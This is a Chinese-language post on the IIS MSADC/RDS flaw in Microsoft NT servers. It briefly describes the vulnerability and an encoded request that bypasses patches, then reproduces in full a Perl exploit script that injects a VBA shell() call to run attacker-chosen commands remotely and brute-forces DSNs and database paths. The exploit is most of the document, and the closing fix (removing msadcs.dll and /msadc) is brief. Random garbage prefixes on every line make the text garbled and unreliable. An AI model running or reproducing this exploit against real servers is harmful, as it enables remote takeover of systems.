IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E*7B5 r `i<XGPJ% 涉及程序：
]}8<h5h) Microsoft NT server
._-^ 58[ 2<yi8O \ 描述：
_C&2-tnp 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
- f z
| .jZmQtc 详细：
>; nE.] 如果你没有时间读详细内容的话，就删除:
De4U GX c:\Program Files\Common Files\System\Msadc\msadcs.dll
IQoz8!guh: 有关的安全问题就没有了。
mmAikT#k j.sxyW?3 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
$/5Jc[Ow y VUA7 IY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
`z-4OJ8~ 关于利用ODBC远程漏洞的描述，请参看:
cG,B;kMjo 1s=M3m&H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm K/+5$S jF lOPCM1Se 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@ I LG3" http://www.microsoft.com/security/bulletins/MS99-025faq.asp y;yXOE_ ^T)HRT -k 这里不再论述。
7tfMD(Q]e/ ly}6zOC\ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0MF[e3)a .Hl]xI$;+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-B9C2 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
m gL~ $ R? ( 0 :f F 5gL-\6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
?7@B$OlU j =r`[B m #!perl
o
<0 f #
,<zGvksk # MSADC/RDS 'usage' (aka exploit) script
)~T)$TS #
_jR%o1Y} # by rain.forest.puppy
dfiA- h #
h$ D Fp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O lK3xdg7 # beta test and find errors!
~+A?!f;-J 2Auhv!xV use Socket; use Getopt::Std;
@T._
getopts("e:vd:h:XR", \%args);
I(#Y\>DG Z2(z,pK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
pB&3JmgR$) 7!#x-KR~5 if (!defined $args{h} && !defined $args{R}) {
0_}OKn)J print qq~
(\, <RC\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
?5Wj y -h <host> = host you want to scan (ip or domain)
yaMNt}y-q -d <seconds> = delay between calls, default 1 second
6,G1:B V{K -X = dump Index Server path table, if available
wxkCmrV -v = verbose
nk> -e = external dictionary file for step 5
3DV'; .|JJyjRA+ Or a -R will resume a command session
v98=#k!F Mhm3u ~; exit;}
fB:9:N X hq6fDRO/4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1Zx|SBF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
HlqCL1\< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
\-0@9E<D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`L`qR,R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ah;2\0|t if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^G[xQcM73 -X'HZ\) if (!defined $args{R}){ $ret = &has_msadc;
UZi ^ & die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
gYA|JFi &8_]omuNV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
*&q\)\(3w . "cmd /c ";
X]U,`oE)9 $in=<STDIN>; chomp $in;
Q g"hN $command="cmd /c " . $in ;
;gY W!rM =MEv{9_ if (defined $args{R}) {&load; exit;}
5DK>4H: K~H)XJFF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
K:Wxx " &try_btcustmr;
(wEaa'XL L @HPU;< print "\nStep 2: Trying to make our own DSN...";
l_hM,]T0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y;8Y s&/t _7'9 omq@ print "\nStep 3: Trying known DSNs...";
8*!<,k="9 &known_dsn;
"X T7;! ]|it&4l print "\nStep 4: Trying known .mdbs...";
uM h[Ht^. &known_mdb;
V%8?f, J0*hJ-/u if (defined $args{e}){
iZ<^p1i print "\nStep 5: Trying dictionary of DSN names...";
K 4Q JDC8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HYyO/U9z|I p~6/+ap print "Sorry Charley...maybe next time?\n";
8W#/=Xh? exit;
?:vp3f# y >r7(qg ##############################################################################
n$
$^(-g@) ns [v.YDL sub sendraw { # ripped and modded from whisker
{a\O7$A\F sleep($delay); # it's a DoS on the server! At least on mine...
L6./b; my ($pstr)=@_;
|iKk'Rta4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
= .(yOUI die("Socket problems\n");
>A5R if(connect(S,pack "SnA4x8",2,80,$target)){
5XyS F # select(S); $|=1;
`E+)e?z print $pstr; my @in=<S>;
Ig}G"GR select(STDOUT); close(S);
)uC],CbW{ return @in;
#qrZ(,I@n } else { die("Can't connect...\n"); }}
."&,_F id<i|
##############################################################################
lPx4= O /ts=DxCC; sub make_header { # make the HTTP request
rl4B(NZi} my $msadc=<<EOT
7zXFQ|TP POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
bO 2>ced User-Agent: ACTIVEDATA
GmP)"@O](; Host: $ip
0{^vqh.La Content-Length: $clen
1 rKKp h Connection: Keep-Alive
&E0L7?l 6 E/>]3 ~! ADCClientVersion:01.06
}IO<Dq= [ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Se<]g$eK?5 jWJq[ l --!ADM!ROX!YOUR!WORLD!
5LdVcXf Content-Type: application/x-varg
:,g nOfV= Content-Length: $reqlen
"X0"=1R~ Oo |*q+{ EOT
'kb5pl~U ; $msadc=~s/\n/\r\n/g;
Gdmh#pv return $msadc;}
T6m#sVq ,@kD9n5# ##############################################################################
1^XuH(' Yv k
Qh{ sub make_req { # make the RDS request
d~F`q7F'?] my ($switch, $p1, $p2)=@_;
!l| v O( my $req=""; my $t1, $t2, $query, $dsn;
2_ M+akqy^ 4
AZ~<e\ if ($switch==1){ # this is the btcustmr.mdb query
T P o%zZo $query="Select * from Customers where City=" . make_shell();
:xJ]#
t.. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
qX{"R.d
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}/&Q\Sc (XA=d
4 elsif ($switch==2){ # this is general make table query
M4
SJnE $query="create table AZZ (B int, C varchar(10))";
Cw42bO $dsn="$p1";}
<6QG7 i uMVM- (g% elsif ($switch==3){ # this is general exploit table query
s3qWTdM $query="select * from AZZ where C=" . make_shell();
nfpkWyI u{ $dsn="$p1";}
JYuI~<: Ri4t/H elsif ($switch==4){ # attempt to hork file info from index server
2 w\$}' $query="select path from scope()";
Wt5x*p-!C $dsn="Provider=MSIDXS;";}
0 zm)MSg |$"2 R3 elsif ($switch==5){ # bad query
!$Aijd s5 $query="select";
]T|9>o! $dsn="$p1";}
Ot}fGiio )OQhtxK $t1= make_unicode($query);
WeDeD\zy $t2= make_unicode($dsn);
h 07Z.q ; $req = "\x02\x00\x03\x00";
+13h * $req.= "\x08\x00" . pack ("S1", length($t1));
bj2 3S& $req.= "\x00\x00" . $t1 ;
2{;&c $req.= "\x08\x00" . pack ("S1", length($t2));
[M>Md-pj $req.= "\x00\x00" . $t2 ;
:*bv(~FW $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
88}+.-3t$ return $req;}
7'u<)V rMX Iw ##############################################################################
'f&o%5] $$ %4,\{l sub make_shell { # this makes the shell() statement
y_O [r1MF return "'|shell(\"$command\")|'";}
5tPBTS<<"L $jT& ]p ##############################################################################
2WQKj9iyN
:$k':0 n sub make_unicode { # quick little function to convert to unicode
.N2yn` my ($in)=@_; my $out;
HR)Dz~Obw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5\93-e return $out;}
VD[x}8ei jv $Y]nf ##############################################################################
RtVy^~=G r /v 'h@ sub rdo_success { # checks for RDO return success (this is kludge)
<;O=h;
~| my (@in) = @_; my $base=content_start(@in);
]=\Mf< if($in[$base]=~/multipart\/mixed/){
P^m+SAAB return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z'@j9vT return 0;}
n8<o*f&&9> dFY]~_P472 ##############################################################################
n\d`Fk i`[5%6\"& sub make_dsn { # this makes a DSN for us
[MSLVTR my @drives=("c","d","e","f");
9 $,x^Qx print "\nMaking DSN: ";
bwh7.lDAl foreach $drive (@drives) {
pR_cI]{=SA print "$drive: ";
FTM(y CN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
KrO oxrDcp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
dw
%aoe . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&8'.Gw m} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%Q]u_0P* return 0 if $2 eq "404"; # not found/doesn't exist
<p@c %e,_ if($2 eq "200") {
X L[/)lX{ foreach $line (@results) {
(<sZ8n=AD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l ;i,V;@ t } return 0;}
hU irvDvX q6A!xQs< ##############################################################################
9pPb]v,6 >55c{|"@L sub verify_exists {
2p \CCzw my ($page)=@_;
~wnTl[: my @results=sendraw("GET $page HTTP/1.0\n\n");
6OYXcPW' return $results[0];}
#Mo`l/Cwp :}d`$2Dz ##############################################################################
J ytY6HF <S~_|Y*v sub try_btcustmr {
IOA"O9; my @drives=("c","d","e","f");
\PS {/XK my @dirs=("winnt","winnt35","winnt351","win","windows");
M99#\0=/ ^l1tQnj)7 foreach $dir (@dirs) {
=H* }{'# print "$dir -> "; # fun status so you can see progress
shW$V93< foreach $drive (@drives) {
t~pA2?9@ print "$drive: "; # ditto
{MmHR $reqlen=length( make_req(1,$drive,$dir) ) - 28;
O v3W;jD $reqlenlen=length( "$reqlen" );
9k\`3S E $clen= 206 + $reqlenlen + $reqlen;
-q7A\8C O+;0|4V% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
WelB+P2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=PHl|^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
X! 5N2x $ tf;\R ##############################################################################
W- wy<<~f g*b
4N _ sub odbc_error {
[vki^M5i|Z my (@in)=@_; my $base;
?]%JQ]Gf* my $base = content_start(@in);
F-}-/N]o
q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:LRR\v0HM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/UeLf $%ZW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`x:znp} ' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qh
E zv~ return $in[$base+4].$in[$base+5].$in[$base+6];}
j0J}d _ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~82[pY print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
||v=in $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2mL1BG=Yk }qfr&Ffh@ ##############################################################################
8Ml&lfn_8 A.7:.5Cx' sub verbose {
D d|}LV my ($in)=@_;
T! $7:% D return if !$verbose;
zb9^ii$g print STDOUT "\n$in\n";}
".L+gn}u- b ABx' E ##############################################################################
R` =3lY; .4={K)kz|F sub save {
5zJkPki my ($p1, $p2, $p3, $p4)=@_;
VlW#_. open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Hv%(9)-8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
l n.kEhQ3B close OUT;}
8D]:>[ |E r` u}n ##############################################################################
rUfW 0 sh.xp8^)^> sub load {
:1u>T3L.z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m1_?xU open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&_FNDJ>MCk @p=<IN>; close(IN);
`;fh<kv $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
PK1j$ &F $target= inet_aton($ip) || die("inet_aton problems");
^B@4 w\t print "Resuming to $ip ...";
k*|dX.C: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2rHw5Wn]~ if($p[1]==1) {
EQPZV
K/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
iU^ 4a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Okk[ }G) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|)6(_7e 9 if (rdo_success(@results)){print "Success!\n";}
Pg[zRRf< else { print "failed\n"; verbose(odbc_error(@results));}}
q! W ~>c! elsif ($p[1]==3){
1!8*mk_R { if(run_query("$p[3]")){
q3Umqvl)oe print "Success!\n";} else { print "failed\n"; }}
G],+ ?E_, elsif ($p[1]==4){
~Wu Elns if(run_query($drvst . "$p[3]")){
"@B! 5s0 print "Success!\n"; } else { print "failed\n"; }}
Wm:3_C +j exit;}
Pb?H cg _5a]pc$\Y] ##############################################################################
YVVX7hB Ff>Y<7CQ
v sub create_table {
pH#&B_S6z= my ($in)=@_;
b
qB[ vPsI $reqlen=length( make_req(2,$in,"") ) - 28;
BEvSX|M>x $reqlenlen=length( "$reqlen" );
n? "ti $clen= 206 + $reqlenlen + $reqlen;
)uf Hk my @results=sendraw(make_header() . make_req(2,$in,""));
%Hv$PsSJ return 1 if rdo_success(@results);
yb/<
7 my $temp= odbc_error(@results); verbose($temp);
W9 y8dw. return 1 if $temp=~/Table 'AZZ' already exists/;
Qpd-uC_Ni return 0;}
YN] w_= }7hpx! s, ##############################################################################
]SrKe-*:U [ e)81yZG> sub known_dsn {
oSNB\G< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
80$P35Q" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]Oc
:x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
yP0P-8 "banner", "banners", "ads", "ADCDemo", "ADCTest");
iM2
EEC Y=X"YH| foreach $dSn (@dsns) {
MSeO#X print ".";
9BI5qHEp next if (!is_access("DSN=$dSn"));
4 E3@O if(create_table("DSN=$dSn")){
0vG}c5;F print "$dSn successful\n";
{+c/$4 < if(run_query("DSN=$dSn")){
Te'^O,C)y$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h x4!P( o1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
==x3|^0y =khjD[muC ##############################################################################
3FUZTX]Q1 \$;\,p p sub is_access {
P@9>4}r$ my ($in)=@_;
7 g ]]> $reqlen=length( make_req(5,$in,"") ) - 28;
7~\Dzcfk"P $reqlenlen=length( "$reqlen" );
NOyL Za' $clen= 206 + $reqlenlen + $reqlen;
QXJ D' c my @results=sendraw(make_header() . make_req(5,$in,""));
$Fz/&;KX! my $temp= odbc_error(@results);
([|5(Omd\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
VK`_ Qc#B return 0;}
W3UK[_qK CW\o >yh ##############################################################################
/p\Ymq =@pm-rI|- sub run_query {
2DQ'h}BI my ($in)=@_;
u-UUF $reqlen=length( make_req(3,$in,"") ) - 28;
i?=3RdP/R1 $reqlenlen=length( "$reqlen" );
{DN c7G $clen= 206 + $reqlenlen + $reqlen;
rShi"Yw my @results=sendraw(make_header() . make_req(3,$in,""));
*(?YgV return 1 if rdo_success(@results);
O#O~A | my $temp= odbc_error(@results); verbose($temp);
#a#~YSnG return 0;}
"EEE09~l\ b]RCe^E1 ##############################################################################
344,mnAd h83 ho sub known_mdb {
0O -p(L= my @drives=("c","d","e","f","g");
R5]R
pW=G my @dirs=("winnt","winnt35","winnt351","win","windows");
%h|z) my $dir, $drive, $mdb;
#PXl*~PrQ/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EVO5+ s ^C*uP;R # this is sparse, because I don't know of many
`m2F.^qrr my @sysmdbs=( "\\catroot\\icatalog.mdb",
D{N1.rSxv "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
pMt]wyKr "\\system32\\certmdb.mdb",
a]X6) 6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
eBU\& z[ .6O>P2m]a_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
pvmm" f "\\cfusion\\cfapps\\forums\\forums_.mdb",
yWzvE:!) "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
83R"!w18 "\\cfusion\\cfapps\\security\\realm_.mdb",
GsDSJz "\\cfusion\\cfapps\\security\\data\\realm.mdb",
QQ2xNNF[ "\\cfusion\\database\\cfexamples.mdb",
o\|dm. "f "\\cfusion\\database\\cfsnippets.mdb",
Dj!J 4uD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
DP; B*s4{U "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\!cqeg*53 "\\cfusion\\brighttiger\\database\\cleam.mdb",
,6t0w|@-k "\\cfusion\\database\\smpolicy.mdb",
aF'Ik XG d "\\cfusion\\database\cypress.mdb",
g ?= B{V "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
}d.R=A9L "\\website\\cgi-win\\dbsample.mdb",
$,i:#KT` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Gw+z8^|C&} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
EVq<gGy ); #these are just
S}Mxm 2 foreach $drive (@drives) {
! @VmaAT foreach $dir (@dirs){
)_j.0a
foreach $mdb (@sysmdbs) {
|:!0`p{R print ".";
K?I@'B' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"#4PU5. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-D!F|&$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P:*'x9` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ZlO@PlZ) } else { print "Something's borked. Use verbose next time\n"; }}}}}
uaU!V4 - 7Z ZSAI foreach $drive (@drives) {
2A`EFk7_X foreach $mdb (@mdbs) {
1M 3U)U print ".";
SF.,sCk if(create_table($drv . $drive . $dir . $mdb)){
a S<JsB print "\n" . $drive . $dir . $mdb . " successful\n";
6 Dg [ b if(run_query($drv . $drive . $dir . $mdb)){
h@W }xT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1GEE ^Eu } else { print "Something's borked. Use verbose next time\n"; }}}}
;7m>40W }
=z=Guvcn` kOtC(\]5 ##############################################################################
tOspDPSXX $u3N ',& sub hork_idx {
4 uNcp0 print "\nAttempting to dump Index Server tables...\n";
k ,<L#?,a print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0.@/I}R[ $reqlen=length( make_req(4,"","") ) - 28;
#h r!7Kc;N $reqlenlen=length( "$reqlen" );
U Ciq'^, $clen= 206 + $reqlenlen + $reqlen;
-CL7^ my @results=sendraw2(make_header() . make_req(4,"",""));
'| FM|0~-J if (rdo_success(@results)){
c7iu[vE'+ my $max=@results; my $c; my %d;
J=\Y 4- " for($c=19; $c<$max; $c++){
r , b $results[$c]=~s/\x00//g;
;OdUH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
'kh%^_FH7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8|d[45*q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
4yBe(&N-d $d{"$1$2"}="";}
#e9B|Y?b foreach $c (keys %d){ print "$c\n"; }
bM-Y4[ } else {print "Index server doesn't seem to be installed.\n"; }}
( j-(fS >M vt;'c ##############################################################################
^2mXXAQf7^ gcv,]v 8 sub dsn_dict {
N}dJ)<(2~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
pg>P]a{ while(<IN>){
-9aht}Z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
RisrU next if (!is_access("DSN=$dSn"));
*K+*0_ if(create_table("DSN=$dSn")){
G %#us3x print "$dSn successful\n";
F5MWxAS,> if(run_query("DSN=$dSn")){
s#d# *pgzh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5X`.2q=d print "Something's borked. Use verbose next time\n";}}}
x(t} H8q print "\n"; close(IN);}
'6xn!dK VS}Vl ##############################################################################
gH_r'j +- .BF"} sub sendraw2 { # ripped and modded from whisker
, $}Q#q sleep($delay); # it's a DoS on the server! At least on mine...
_aD x('
my ($pstr)=@_;
|Pj _L` G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.
}=;]= die("Socket problems\n");
xE)pj| if(connect(S,pack "SnA4x8",2,80,$target)){
/4T%& #6s print "Connected. Getting data";
[j![R open(OUT,">raw.out"); my @in;
94a _ W9 select(S); $|=1; print $pstr;
3aDma/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
|2oB3 \)/ close(OUT); select(STDOUT); close(S); return @in;
3[e@mcO } else { die("Can't connect...\n"); }}
]7VK&YfN u5,IH2BU ##############################################################################
=Wjm_Rvk9 >yWJk9h f sub content_start { # this will take in the server headers
9Q. j
< my (@in)=@_; my $c;
zc2,Mn2 for ($c=1;$c<500;$c++) {
yqBu7E$X if($in[$c] =~/^\x0d\x0a/){
Iy,)>V%iZV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
K GI]W|T else { return $c+1; }}}
b#y}V Y)? return -1;} # it should never get here actually
QWxQD'L' N\Hd3Om ##############################################################################
8bK}& *z< []Fy[G.)H sub funky {
kh5V&%>? my (@in)=@_; my $error=odbc_error(@in);
d ")r^7 if($error=~/ADO could not find the specified provider/){
8WyG49eic print "\nServer returned an ADO miscofiguration message\nAborting.\n";
S`l CynGH exit;}
P,%|(qB if($error=~/A Handler is required/){
.9ROa#7U;n print "\nServer has custom handler filters (they most likely are patched)\n";
@e Myq1ZU exit;}
*Zc-&Dk:Ir if($error=~/specified Handler has denied Access/){
h5Z\9`f[ print "\nServer has custom handler filters (they most likely are patched)\n";
bZlA K) exit;}}
!PQRlgcG un /eS-IIh ##############################################################################
brVT LSfj7j` sub has_msadc {
(*;u{m= my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jG^~{7# my $base=content_start(@results);
ze ua`jQ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y7w>/7q return 0;}
^{Vm,nAQqs Z g'[.wov ########################
2
43DdIG$ "*T)L<G [ cH/Y2[ 解决方案：
{otvJ |'N 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
'*-SvA\Cx 2、移除web 目录: /msadc
